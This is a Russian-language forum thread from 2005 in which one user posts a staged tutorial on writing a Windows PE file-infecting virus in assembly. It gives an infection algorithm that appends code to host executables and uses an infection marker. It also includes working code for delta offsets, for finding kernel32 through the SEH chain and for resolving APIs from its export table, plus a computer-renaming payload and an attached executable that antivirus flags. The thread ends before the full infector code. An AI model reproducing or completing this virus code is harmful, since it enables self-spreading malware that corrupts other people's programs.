IPB
ЛогинПароль:

2 страниц V  1 2 >  
 Ответить  Открыть новую тему 
> Пишем вирус..., Наконец написал.
FreeMan
сообщение 4.01.2005 10:23
Сообщение #1


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


Почти каждый, кто изучает язык ассемблера, рано или поздно пишет вирус, некоторые люди пишут вирус, когда заканчивают изучать какой-нибудь язык программирования... Прежде чем читать то, что я буду писать ниже и понимать хоть что-нибудь, вы должны:
а) знать основные команды ассемблера
б) уметь пользоватся АПИ-функциями
в) взять где-нибудь (можно и у меня) TASM32 (можно и другой, но каждый компилятор имеет свои особенности).
г) отладчик (если собираетесь собственноручно создать зверька, то без отладки довольно трудно найти ошибки)
д) прогу, которая прикреплена (на неё вопит касперский, но это не вирус!!!! )
е) иметь здоровую голову (если вы хотите испортить все компы на Земле, то ваше место в больнице, а не здесь)
ё) ПОМНИТЬ, ЧТО ЭТОТ МАТЕРИАЛ ПРЕДСТАВЛЕН ТОЛЬКО В ЦЕЛЯХ ОБУЧЕНИЯ, И ЗА ПОСЛЕДСТВИЯ Я НИКАКОЙ ОТВЕТСТВЕННОСТИ НЕ НЕСУ
Вроде всё.

Теперь план обучения:
1) формат заголовка файла РЕ
2) разбор основных полей заголовка РЕ
3) методика заражения
4) дельта-смещение.
5) поиск АПИ
6) разбор используемых АПИ
7) пишем код
8) Reserved smile.gif


Прикрепленные файлы
Прикрепленный файл  Pewrsec.exe ( 8.62 килобайт ) Кол-во скачиваний: 3


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
FreeMan
сообщение 4.01.2005 10:25
Сообщение #2


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


1. Формат заголовка РЕ

Заголовок - это структура, которая содержит информацию, которая требуется загрузчику для загрузки того или иного файла. Мы рассмотрим формат заголовка РЕ-ЕХЕ.
Расширение .ЕХЕ имеют не только РЕ-ЕХЕ файлы, но ещё и старые досовские. В связи с этим в самом начале файла идёт заголовок, который полностью досовскому загрузчику и, в некоторых случаях, dos stub, прога, которая запускается, если стартовать РЕ файл из-под доса. Она в основном кричит что-то типа "This programm must cannot be run in DOS mode".
Мы пишем вирус под Винду, поэтому нас дос-совместимый заголовок особо не интересует. Только пара полей

Смещение (offset) Размер Описание
+0h 1 w (2байта) 'MZ' сигнатура ЕХЕ файла
+3Сh 1 dw (4 байта) смещение начала РЕ заголовка

Вот мы и увидели, как проверить файл на "подлинность" (сигнатура). Кстати, если вы откроете command.com в каком-нибудь НЕХ-редакторе, то вы увидете, что это на самом деле не СОМ, а ЕХЕ smile.gif

Формат заголовка РЕ висит в прикреплённом файле. Советую распечатать.


Прикрепленные файлы
Прикрепленный файл  useful1.doc ( 71.5 килобайт ) Кол-во скачиваний: 1773


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
FreeMan
сообщение 4.01.2005 10:31
Сообщение #3


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


2. Разбор основных полей РЕ заголовка.

Итак, вы просмотрели вложения. Теперь расскажу подробнее о тех полях заголовка, которые мы будем использовать во время написания вируса.

Как вы заметили, самое первое поле заголовка - сигнатура. Это уже проверка файла на РЕ.

Тип компа нам не интересен.
В файле мы имеем дело с несколькими секциями, такими как, например, секция кода или секция данных.
Количество этих секций указано по смещению 6 заголовка РЕ. В файле находится таблица объектов (Object Table), элементы которой описывают секции. Мы будем работать с этими элементами. Делать это будем в цикле с заданным кол-вом повторений. Значение поля Number Of Sections и будет кол-вом этих повторений.

Дальше нам понадобится поле Size Of Optional Header. Оно понадобится при расчёте смещения (offset) Object Table.

Следующее поле, которое нас сильно интересует - Address Of Entry Point по смещению 28h от начала РЕ-заголовка (далее просто заголовок). Оно показывает загрузчику место старта (если это можно так назвать) проги. Значение этого поля - только RVA точки старта.
Теперь несколько слов о том что такое RVA, VA... Сразу скажу, что надо просто взять и выучить, что есть что и понять как одно от другого отличается. Мне было очень сложно разобраться с этими понятиями.
RVA расшифровывается как Relative Virtual Address - это смещение на что-либо относительно того места в памяти, куда загрузчик закидывает файл. Ведь файл не располагается с нулевого смещения...

VA (Virtual Address) - это уже смещение, с которым мы можем работать. Теперь всё это на примере.

Итак, загрузчик потрудился на славу и закинул наш файл по смещению 00040000h в память.
RVA точки входа 00001000h. Ясно, если загрузчик передаст управление на смещение 00001000h, то ничего полезного не произойдёт, ведь это только RVA. Чтоб сделать из RVA VA нужно прибавить к нему 00040000h (так называемую базу образа). Прибавляем и получаем 00041000h, а это адрес точки входа (VA). Мы в основном будем получать везде RVA, и нам прийдётся преобразовывать его в VA.

Виртуальные данные - термин, который служит для обозначения данных, которые висят в памяти.
RAW-данные - данные, которые находятся в файле.

Расположение данных в памяти и в файле отличается. Так, например, в файле код расположен по смещению 600h, в память их загрузчик может кинуть по смещению 1000h, относительно адреса загрузки (RVA).

Следующее поле заголовка которое нас интересует - Image Base (00000034h). Это и есть то смещение, начиная с которого файл располагается загрузчиком в памяти. Понадобится при передаче управления зараженному объекту.

Section Alignment и File Alignment - значения, на которые надо будет выровнять некоторые значения после заражения.
Выравнивание - это округление какого-либо значения в большую сторону до значения, кратного выравнивающему фактору.
Например, объём кода 2CDh, а File Alignment=200h (это фактор), тогда выровненное значение будет 400h.


Цитата
При выравнивании можно воспользоваться такой формулой:

(x+(y-1))&(~(y-1)), где,
x-выравниваемое значение
y-выравнивающий фактор

Уточнение: выравнивающий фактор должен быть степенью двойки, иначе формула не будет иметь смысла.
Т.к. содержимое полей Object Align и File Align по утверждению Microsoft являются степенями двойки, мы можем смело использовать данную формулу.

Хмм, это на первый взгляд выглядит сложно, на практике все просто и ясно.


;------------------------------Пример Align.asm--------------------------------
.386
.model flat

.data
AlignmentFactor dd 200h
ValueAlign      dd 201h

.code
start:
mov eax, AlignmentFactor
dec eax
add ValueAlign, eax
not eax
and ValueAlign, eax
ret
end start
;------------------------------------------------------------------------------



Скомпилируйте и посмотрите в отладчике, меняйте значения. Все встанет на свои места.

цитата с http://wasm.ru/article.php?article=pe_inf

Дальше по списку... smile.gif
Major Image Version и Minor Image Version - а эти поля я буду использовать как метку на зараженность, не надо ведь заражать один и тот же файл по нескольку раз, одного достаточно.

ImageSize - размер загружаемого образа. Загрузчик следит за выполнением такого равенства HeaderSize (54h) + Сумма(VirtualSize[i], i) == ImageSize (50h) (все значения выровнены по ОbjAlign). Иначе визжит, что файл не является приложением Вин32.

HeaderSize - из описания ясно.

Вроде с полями ясно всё, если что-нибудь вспомню, расскажу в процессе. Если вам что-либо не понятно, можете спрашивать в РМ или асю.


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
FreeMan
сообщение 4.01.2005 10:33
Сообщение #4


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


3. Методика заражения

Пишу в виде алгоритма, хотя я не умею их делать. Пишу с того момента, когда мы отловили адреса апишек, после всех приготовлений (об этом ниже).

1) ищем файл
2) открываем, проверяем на зараженность, если всё ОК, то идём дальше, если нет то на шаг 8
3) ищем последнюю секцию
4) пишем код ей в зад
5) фиксим некоторые поля заголовка и соответствующего элемента Object Table
6) устанавливаем метку заражения
7) закрываем
8) заразили достаточно, на шаг 10, нет - дальше
9) ищем следующий, валим на шаг 2
10) если первое поколение то просто выходим, если нет, то передаём управление носителю
Что-то типа этого. На практике разберётесь (на самом деле всё сложнее немного).

Продолжу, если это будет хоть кому-нибудь интересно.
Кому интересно или если вы заметили какие-то ошибки или недочёты, то пишите в PM или стучите в асю 88880172, выражайте свои мысли.


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
FreeMan
сообщение 5.01.2005 10:17
Сообщение #5


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


4. Дельта смещение.
При линковке программы происходит замена имён меток, переменных на их адреса в памяти. Таким образом строка
mov eax, offset message

превращается в
mov eax, xxxxxxxx
где xxxxxxxx - смещение переменной message. Для примера набейте такую прогу и сохраните в папке с ТАСМом:

includelib import32.lib
extrn ExitProcess: near

.386
.model flat
.data
db 0
.code
start:
mov eax, aaaa
push 0
call ExitProcess
aaaa dd 0
end start


Скомпилируйте её. Для компиляции создайте ВАТ-файл в папке с ТАСМом и заполните его следующим содержимым:
Tasm32.exe /m3 /ml /zi iasdf.asm , , ;
Tlink32.exe /Tpe /aa /v iasdf, iasdf, ,import32.lib


В данном случае iasdf.asm - имя файла примера. Запустите ВАТ файл.
В результате в папке появится файл iasdf.exe. Если вы посмотрите в отладчике этот файл, то увидите что-то типа:


00401000 A10C104000 mov eax,[0040100C] ;mov eax, aaaa
00401005 6A00 push 00000000 ;push 0
...
0040100C 0000 add [eax],al ;значение переменной,
0040100E 0000 add [eax],al ;"истолкованное" отладчиком как команда.

То есть аааа - это место в памяти.

Теперь посмотрим на это более внимательно... Программа, которую мы написали выше, будет выполнятся без проблем из-за того, что будет грузится с одного и того-же адреса в памяти (поле ImageBase заголовка) и после запуска в eax будет заноситься значение по адресу 0040100C. Когда тело вируса находится в конце заражаемого файла, в память его, скорее засунут тоже не в начало. Допустим, мы записали вирус (допустим это вышенаписанная прога), в конец файла. Файл имеет такую структуру в памяти:
Секция		смещение(VA)	размер
код 00401000 1000
данные 00402000 2000
неиниц 00404000


Так как мы в конце файла, то, скорее всего и в последней секции. Допустим, она была пустая, когда мы поселились, тогда у нас будет такая картина:

...
00404000 A10C104000 mov eax,[0040100C] ;mov eax, то_что_по_адресу_0040100C
00404005 6A00 push 00000000 ;push 0
...
0040400C 0000 add [eax],al ;значение переменной,
0040400E 0000 add [eax],al ;"истолкованное" отладчиком как команды.


Неувязка - переменная оказалась по адресу 0040400С, а в регистр попадает чёрти-что по смещению 0040100C.
Проблема эта решается нахождением так называемого дельта смещения. Это значение, на которое отличается значение адреса при линковке от того, которое получилось в силу тех или иных обстоятельств. В нашем случае адреса изменились на 00404000-0401000=3000. Это и есть дельта. Как её использовать для получения реального адреса - 0401000+3000=00404000, просто добавить к обычному адресу.


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
FreeMan
сообщение 5.01.2005 10:17
Сообщение #6


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


3.1 В поисках дельты.
Может вам показалось, что поиск дельты - основная сложность в написании вируса... Это не так. Это самая маленькая его часть, это даже не сложность. Как же найти дельту? Очень просто, надо взять произвольную метку и от её текущего адреса отнять тот, который был сразу после линковки.
Вопрос... Как узнать тот адрес, который был при линковке?
Напишите
mov eax, metka_name
и скомпилируйте. В регистр всегда будет попадать (при любых обстоятельствах), адрес метки, который был изначально (как и в случае с переменной, ведь её адрес тоже оставался без изменения)
Второй вопрос... Как узнать адрес, который имеет метка сейчас?
А вот для этого придётся извратится... Все знают (или узнают), что при вызове функции в стек попадает адрес возврата из функции...
То есть, если мы сделаем
call some_func
то в стеке окажется адрес команды, которая находится за этой.
А если мы знаем "обычный" адрес этой команды, то мы можем найти дельту.

call delta 		;вызов процедуры, в стеке текущий адрес метки
delta:
pop ebp ; достаем со стека
sub ebp, delta ;отнимаем "обычный" адрес
В итоге в регистре ebp висит дельта. Теперь, если мы напишем mov eax,[ebp+aaaa], то получим значение переменной аааа, где бы она не валялась вместе со всей прогой smile.gif В первом поколении вируса (когда его слинковали) дельта равна нулю (разберитесь почему). Кстати, можно не использовать дельты, но тогда надо держать все переменные в стеке, а это не очень удобно.


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
FreeMan
сообщение 5.01.2005 10:20
Сообщение #7


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


5) Поиск АПИ.
Когда Винда загружает файл, она в адресное пространство кидает библиотеки, адреса имён которых содержатся в таблице импорта файла. Потом заполняет какие-то таблицы адресами АПИшек. При чём эти таблицы фиксированы. Вспомним нашу прогу(её вид в отладчике):


//******************** Program Entry Point ********
:00401000 A10C104000 mov eax, dword ptr [0040100C]
:00401005 6A00 push 00000000

* Reference To: KERNEL32.ExitProcess, Ord:0000h
|
:00401007 E804000000 Call 00401010 ;всё внимание на эту строчку...
:0040100C 00000000 BYTE 4 DUP(0)



Это вызов АПИ функции ExitProcess из KERNEL32.dll. Неужели вы думаете, что кернел кидают сразу за файл с его функциями???
Нет, просто мы прыгаем на таблицу, а там в определённом поле (смещение 00401010) висит адрес этой функции. Но если мы заразим файл, то там не обязательно будет такая-самая таблица. Ещё меньше вероятность того, что эта таблица содержит адреса всех нужных нам АПИшек. То есть мы прыгнем по тому адресу, а там окажется фигня какая-то. Кстати вот, что видит дизассемблер по смещению
00401010

* Reference To: KERNEL32.ExitProcess, Ord:0000h
|
:00401010 FF2530304000 Jmp dword ptr [00403030]

Вот так. То есть для того, чтоб нам в вирусе использовать АПИ, их адреса нужно найти вручную, то есть, "подражая" загрузчику, найти адреса, забить их себе в "самопальную" таблицу. Сделать это можно многими способами:
  1. Попытаться найти в импортах адреса LoadLibraryA и GetModuleHandleA. А там найти адреса библиотек и функций
  2. Найти их в экспорте Кернела
  3. Найти все в экспорте Кернела
  4. Другие

Я остановлюсь на 3 варианте. В 1ом есть шанс провалится, во 2ом ИМХО эвристик заставит антивируса визжать.
Я то на нём остановился. Но тут возникает проблема - где этот кернел висит???? Это действительно вопрос!!!!! Адрес кернела тоже надо искать.


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
FreeMan
сообщение 5.01.2005 11:38
Сообщение #8


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


5.1. Поиск адреса кернела
Кернел висит в памяти.
Искать кернел можно многими путями. Я предпочитаю поиск через анализ SEH. SEH это фигня, которая служит для обработки исключений (непредвиденных ситуаций).

Теперь теория
По fs:0 начинается некоторая структура, называемая Thread Information Block (TIB). Первое поле - указатель на начало цепочки структур EXCEPTION_REGISTRATION_RECORD, каждая из которых содержит адрес процедуры обработки критической ситуации (SEH) и адрес следующей (т.е. предыдущей) структуры, этих обработчиков несколько. То есть если возникает непредвиденная ситуация, то по очереди вызываются эти обработчики, пока один из них не возьмёт на себя обработку исключения. Так вот последний обработчик висит где-то в кернеле. Так как он последний, то адрес следующего будет 0ffffffffh. Теперь предлагаю написать код поиска кернела.

xor  edx,edx

R_SEH:
mov  eax, fs:[edx] ; в eax адрес первой структуры
dec  edx ; edx=0ffffffffh

search32:                          
cmp [eax], edx ; адрес следующей структуры 0ffffffffh?                    
je check32 ; да                        
mov  eax,[eax] ; нет, переходим к следующей                    
jmp short search32 ; повторяем                      

check32:                          
mov  eax,[eax+4] ; eax=адрес обработчаика (он где то в кернеле)                  
xor ax,ax ; обнуляем так как начало кернела находится по адресу кратному 10000h
searchMZ:                          
cmp word ptr [eax], 5A4Dh ; 5A4D - 'ZM' - сигнатура (кернел тоже РЕ файл)
je IsPe ; нашли сигнатуру, проверяем вторую
sub eax, 10000h ; не повезло - сканируем ещё адрес
jmp short searchMZ ; и на проверку

IsPe:            
mov edx,[eax+3ch] ; в edx - rva заголовка PE
;относительно базы кернела (она в eax)
cmp [eax+edx],4550h ; PE?
jne Exit ; не нашли - выходим.
;kernel found


Адреса кернела, в принципе, известны для некоторых версий винды
077e60000h в ХР
0BFF70000h в Win9x

В принципе шанс не найти кернел очень маленький (практически отсутствует), поэтому можно и без проверки на РЕ-сигнатуру справится. Посмотрите это в отладчике и всё будет Ok.


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
FreeMan
сообщение 5.01.2005 13:07
Сообщение #9


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


5.2 Поиск АПИ...

Теперь адрес кернела мы знаем. Теперь будем искать адреса API-шек.
В кернеле есть таблица экспорта её RVA находится по смещению 78h относительно заголовка РЕ.
Там начиная со смещения 1Ch идут такие элементы:
  1. Address Table RVA адрес таблицы адресов относительно базы кернела
  2. Name Pointers RVA адрес таблицы указателей на строки с именами функций тоже относительный
  3. Ordinal Table RVA адрес таблицы ординалов

Теперь код.
get_export:
mov esi, [eax+edx+78h] ; get export rva
lea esi, [esi+eax+1ch] ; esi=указатель на адрес таблицы адресов
xchg eax, ebx ; in ebx kernelBase. eax буду юзать
mov ecx, 3

loop_lodsd:
lodsd ; в eax RVA
add eax,ebx ; VA
push eax
dec cl
jnz loop_lodsd
; в цикле загоняем в стек адреса таблиц с которыми будем работать

lea edi,[ebp+offset GetWindowsDirectoryA_]
; указатель на строку с именем первой требуемой АПИ (учитывая дельту)

main_loop:
str_lenth:
xor eax, eax
mov esi, edi
s4et:
scasb
jnz s4et

mov edx,esi
sub edi,esi
; посчитали длину имени она теперь в edi

mov esi,[esp+4]
; в esi адрес таблицы указателей на строки с именами АПИ
mov ecx,edi
; ecx=edi=length(string)

searchAPI:
push esi
mov edi,edx
mov esi,[esi] ; вытягиваем адрес (rva)
push ecx
add esi, ebx ; rva to VA

cld
rep cmpsb ;сравниваем две строки

pop ecx
pop esi
jz equal ; если они равны
inc ax ; в ах счётчик (мы считаем, какое по счёту имя сходится с именем искомой АПИ)

add esi, 4 ; к следующему имени
jmp searchAPI

equal:
; нашли номер функции, надонайти ординал, а когда найдём ординал, то найдём адрес
shl eax, 1 ; таблица ординалов состоит из двухбайтовых цифр, поэтому умножаем еах на 2
mov ecx, [esp] ; первым в стеке лежит указатель на таблицу ординалов
; а на первый элемент всегда esp указывает
add ecx, eax ; переходим к нужному ординалу
mov ecx, [ecx] ; кидаем ординал в есх
and ecx, 0ffffh ; обрубаем старшие 2 байта.
shl ecx, 2 ; таблица адресов состоит из 4байтовых элементов (умножаем ординал на 4)

mov eax, [esp+4*2] ; 3ий в стеке лежит адрес таблицы адресов
add eax, ecx ; ищем нужный адрес
mov eax, [eax] ; достаём RVA функции в еах
add eax, ebx ; преобразуем в VA

mov [edi], eax ; в edi адрес конца нашей строки, то есть адрес хранится за строкой

cmp word ptr [edi+4], 0B0BAH
; это последняя искомая АПИ? (0B0BAh - метка конца нашей таблицы)
je vse_naideno ; да - идём дальше

add edi, 4 ; нет - прибавляем к edi 4 (перескакиваем на имя следующей АПИ)
jmp main_loop ; повторяем цикл

; в конце файла должна быть такая примерно таблица
GetWindowsDirectoryA_ db 'GetWindowsDirectoryA', 0 ; первая нужная АПИ
_GetWindowsDirectoryA dd 0 ; после каждого имени место под адрес
SetCurrentDirectoryA_ db 'SetCurrentDirectoryA', 0
_SetCurrentDirectoryA dd 0
CreateFileA_ db 'CreateFileA', 0
_CreateFileA dd 0
FindFirstFileA_ db 'FindFirstFileA', 0
_FindFirstFileA dd 0
FindNextFileA_ db 'FindNextFileA', 0
_FindNextFileA dd 0
CreateFileMappingA_ db 'CreateFileMappingA', 0
_CreateFileMappingA dd 0
MapViewOfFile_ db 'MapViewOfFile', 0
_MapViewOfFile dd 0
UnmapViewOfFile_ db 'UnmapViewOfFile', 0
_UnmapViewOfFile dd 0
SetFilePointer_ db 'SetFilePointer', 0
_SetFilePointer dd 0
SetFileAttributesA_ db 'SetFileAttributesA', 0
_SetFileAttributesA dd 0
CloseHandle_ db 'CloseHandle', 0
_CloseHandle dd 0
FindClose_ db 'FindClose', 0
_FindClose dd 0
SetComputerNameA_ db 'SetComputerNameA', 0
_SetComputerNameA dd 0

my_name_is dw 0B0BAH ; метка конца


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
FreeMan
сообщение 7.01.2005 12:51
Сообщение #10


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


6. Pазбор используемых АПИ
Разбор сводится к копированию сюда содержимого справочника АПИ и более подробному их рассмотрению, то есть в этом разделе мы не будем придумывать ничего, никакого кода. Зато когда мы разберём АПИ, можно будет приступать к написанию кода вируса.
Все приведённые здесь АПИ находятся в кернеле. Все попытки включить в список АПИ из другой библиотеки или с неправильным именем приведёт к ошибке и вы с треском вылетите.
Итак, первая АПИ - GetWindowsDirectoryA

Цитата
UINT GetWindowsDirectory(
    LPTSTR lpBuffer, // address of buffer for Windows directory
    UINT uSize // size of directory buffer
);

lpBuffer - буфер, куда будет заносится строка, которая содержит путь к директории винды (C:\Windows типа этого)
uSize - размер этого буфера (число от 0 до MAX_PATH)
Использование:

push Some_lenth
lea edi, [ebp+offset szWindowsDirectory]
push edi
call [ebp+_GetWindowsDirectoryA]
Как вы заметили, всё делалось с учётом дельты.

SetCurrentDirectoryA - устанавливает текущую директорию процесса

Цитата
BOOL SetCurrentDirectory(
    LPCTSTR lpPathName  // address of name of new current directory
);

lpPathName - адрес строки с завершающим нулём, которая содержит путь к директории, которую нужно сделать текущей для текущего процесса.
Использование:

lea edi,[ebp+offset szWindowsDirectory]
push edi
call [ebp+_SetCurrentDirectoryA]


CreateFileA - крутая АПИ. Умеет файлы открывать.

Цитата
The CreateFile function creates or opens the following objects and returns a handle that can be used to access the object:
· files
· pipes
· mailslots
· communications resources
· disk devices (Windows NT only)
· consoles
· directories (open only)

HANDLE CreateFile(

    LPCTSTR lpFileName, // pointer to name of the file
    DWORD dwDesiredAccess, // access (read-write) mode
    DWORD dwShareMode, // share mode
    LPSECURITY_ATTRIBUTES lpSecurityAttributes, // pointer to security attributes
    DWORD dwCreationDistribution, // how to create
    DWORD dwFlagsAndAttributes, // file attributes
    HANDLE hTemplateFile // handle to file with attributes to copy 
);

lpFileName - указатель на строку с именем файла
dwDesiredAccess - тип доступа к объекту
dwShareMode - флаг который паказывает каким образом можно юзать объект
lpSecurityAttributes - чё то там связано с дочерними процессами - ставим 0
dwCreationDistribution - как создавать (открыть если существует, создать...)
dwFlagsAndAttributes - с какими атрибутами файл, который открываем
hTemplateFile - какой то вспомогательный файл
Использование:

xor eax,eax
push eax                            ; handle to file
push eax                            ; flags and attributes
push 00000003h                      ; how to create(OPEN_EXISTING)
push eax                            ; security attr
push 00000003h                      ; share mode (FILE_SHARE_READ + FILE_SHARE_WRITE)
push 0c0000000h                     ; access mode (GENERIC_READ + GENERIC_WRITE)
lea eax,[ebp+offset FName]
push eax                            ; pointer to file name
call [ebp+_CreateFileA]


Возвращаемые значенния:
Если успешно, то возвращает уникальный описатель (хендл) открытого объекта, если нет, то -1.


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
FreeMan
сообщение 7.01.2005 13:13
Сообщение #11


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


FindFirstFileA - ищет файл в текущей директории

Цитата
HANDLE FindFirstFile(

    LPCTSTR lpFileName, // pointer to name of file to search for 
    LPWIN32_FIND_DATA lpFindFileData  // pointer to returned information
);


lpFileName - маска поиска
lpFindFileData - указатель на структуру WIN32_FIND_DATA (WFD)

Результат работы - если успешно, то возвращает хендл поиска, который нужен при использовании таким функциям как FindNextFile. Если провал, то возвращает -1.

Использование:

lea eax,[ebp+offset WFD32]
push eax ; указатель на структуру
lea eax,[ebp+offset FN4Search]
push eax ;указатель на маску поиска
call [ebp+_FindFirstFileA]


Структура для поиска WFD:

WFD32:
FAttr dd 0 ;атрибуты найденного файла
FCrTime dd 0,0 ;время создания
FLAcsTime dd 0,0 ;время последнего доступа
FLWTime dd 0,0 ;вр. последнего изменения
FSizeH dd 0 ;старший кусок размера файла
FSizeL dd 0 ;младший кусок
FRes dd 0,0 ;зарезервировано
FName db MAX_PATH dup (0) ;имя фала (полное)
AFName db 13 dup (?) ;сокращённое в формате 8.3
;317bytes total


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
FreeMan
сообщение 7.01.2005 13:30
Сообщение #12


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


FindNextFileA - ищет следующий файл

Цитата
BOOL FindNextFile(

    HANDLE hFindFile, // handle to search 
    LPWIN32_FIND_DATA lpFindFileData  // pointer to structure for data on found file 
);


hFindFile - хендл, который возвратила ф-ия FindFirstFileA
lpFindFileData - указатель на WFD

Возвращает: если успех, то заполняет WFD новыми значениями и возвращает не ноль.
Использование:
lea eax,[ebp+offset WFD32] ;указатель на структуру
push eax
push dword ptr [ebp+offset hFF] ;хендл (сохранённый в переменную)
call [ebp+_FindNextFileA] ;сам вызов


CreateFileMappingA - функция, которая создаёт файловый мэппинг

Цитата
HANDLE CreateFileMapping(

    HANDLE hFile, // handle to file to map
    LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // optional security attributes
    DWORD flProtect, // protection for mapping object
    DWORD dwMaximumSizeHigh, // high-order 32 bits of object size 
    DWORD dwMaximumSizeLow, // low-order 32 bits of object size 
    LPCTSTR lpName  // name of file-mapping object
);


hFile - хендл файла для мэппирования
lpFileMappingAttributes - указатель на какую-то структуру, у нас ноль.
flProtect - защита файла. Ставим PAGE_READWRITE=00000004
dwMaximumSizeHigh - старшая половина размера мэппируемого файла
dwMaximumSizeLow - младшая
lpName - имя объекта

Возвращает: если успех - хендл, если нет - 0

Использование:

mov eax,[ebp+hFO]
xor edx,edx
push edx                            ;name of object - 0
push ecx                            ;low size размер в регистре
push edx                            ;high size - 0 (врядли файл такой большой)
push PAGE_READWRITE                 ;protect
push edx                            ;security attr - 0
push eax                            ;handle to file to map
call [ebp+_CreateFileMappingA]


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
FreeMan
сообщение 7.01.2005 13:45
Сообщение #13


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


MapViewOfFile - помещает промэппированный файл в память.

Цитата
LPVOID MapViewOfFile(

    HANDLE hFileMappingObject, // file-mapping object to map into address space 
    DWORD dwDesiredAccess, // access mode
    DWORD dwFileOffsetHigh, // high-order 32 bits of file offset
    DWORD dwFileOffsetLow, // low-order 32 bits of file offset
    DWORD dwNumberOfBytesToMap // number of bytes to map
);


hFileMappingObject - хендл, который остался от CreateFileMappingA
dwDesiredAccess - тип доступа ставим SECTION_MAP_WRITE + SECTION_MAP_READ=2+4
dwFileOffsetHigh и dwFileOffsetLow - размер, если ноль, то столько, сколько в CreateFileMappingA
dwNumberOfBytesToMap - сколько байтов фигачить в память, если 0, то все.
Возвращает: если успех - адрес начала области памяти, куда всё это поместилось. Если нет - 0

Использование:
xor edx,edx
MVF:
push edx                            ;number bytes to map - 0
push edx                            ;offs low - 0
push edx                            ;offs high - 0
push SRW                            ;access mode
push eax                            ;handle
call [ebp+_MapViewOfFile]


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
FreeMan
сообщение 12.01.2005 17:37
Сообщение #14


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


UnmapViewOfFile - полная противоположность MapViewOfFile.

Цитата
BOOL UnmapViewOfFile(
    LPCVOID lpBaseAddress  // address where mapped view begins 
);


lpBaseAddress - адрес, который возвратила MapViewOfFile.
Возвращает: не ноль, если всё ок.
Использование:
push [ebp+pFM] ; адрес, который достаём с переменной
call [ebp+_UnmapViewOfFile]


SetFileAttributesA - устанавливает аттрибуты файла.

Цитата
BOOL SetFileAttributes(
    LPCTSTR lpFileName, // address of filename
    DWORD dwFileAttributes  // address of attributes to set
);


lpFileName - адрес строки, содержащей имя файл.
dwFileAttributes - атрибуты, которые надо установить, у нас FILE_ATTRIBUTE_NORMAL
Возвращает: всё ок - не 0.
Использование:

lea eax,[ebp+offset FName] ; указатель на имя (берём из WFD)
push dword ptr FAttrNorm ; FILE_ATTRIBUTE_NORMAL
push eax
call [ebp + _SetFileAttributesA]


CloseHandle - настолько-же крутая АПИ, насколько CreateFile. Она закрывает объект.

Цитата
Remarks

The CloseHandle function closes handles to the following objects:

· Console input or output
· Event file
· File mapping
· Mutex
· Named pipe
· Process
· Semaphore
· Thread
· Token (Windows NT only)

BOOL CloseHandle(
    HANDLE hObject  // handle to object to close 
);


hObject - хендл объекта, который надо закрыть.

Этой ф-ией будем закрывать мэппинг и файл.
Возвращает не 0, если успех.

FindClose - закрывает хендл поиска.

Цитата
BOOL FindClose(
HANDLE hFindFile  // file search handle
);


hFindFile - хендл, еоторый остался после использования FindFirstFileA
Возвращает не 0, если успех.
Использование:

push dword ptr [ebp+offset hFF]; хендл, который достаём с переменной
call [ebp+_FindClose]


SetComputerNameA - устанавливает имя компа. Это собственно в виде полезной нагрузки.

Цитата
BOOL SetComputerName(
    LPCTSTR lpComputerName  // address of new computer name
);


lpComputerName - указатель на новое имя компа.
Возвращает не 0, если успех.
Использование:

lea edi,[ebp+offset NewComp] ; указатель на строку с новым именем
push edi
call [ebp+_SetComputerNameA]


Это тот набор АПИ, который мы будем использовать при заражении. В первом поколении мы ещё заюзаем MessageBoxA & ExitProcess, но я думаю их описывать не стоит, ведь "Привет, мир" в винде пишут обычно с использованием этих АПИ.
Теперь надо начинать детально рассказывать вам о заражении, описать ещё несколько структур РЕ файла, а после этого объяснить весь код вируса.


--------------------
бб
 Оффлайн  Профиль  PM 
 К началу страницы 
+ Ответить 
FreeMan
сообщение 12.01.2005 17:38
Сообщение #15


-
****

Группа: Пользователи
Сообщений: 480
Пол: Мужской

Репутация: -  4  +


7. Пишем код

В исполняемый файл добавляем код вируса. Этим действием мы увеличиваем "длину" файла на "длину" вируса. Если такой файл запустить, то, скорее всего, вы увидите сообщение о том, что файл не является приложением под винду. Это происходит из-за того, что длина файла больше, чем та, которая указана в заголовке. Если мы увеличим величину Size of Image на длину вируса (которую выровняем на SectionAlignment), то опять получим сообщение об ошибке. В чём же дело, ведь все поля заголовка исправлены на нужные? Дело в том, что в файле есть ещё несколько структур, которые надо пофиксить.
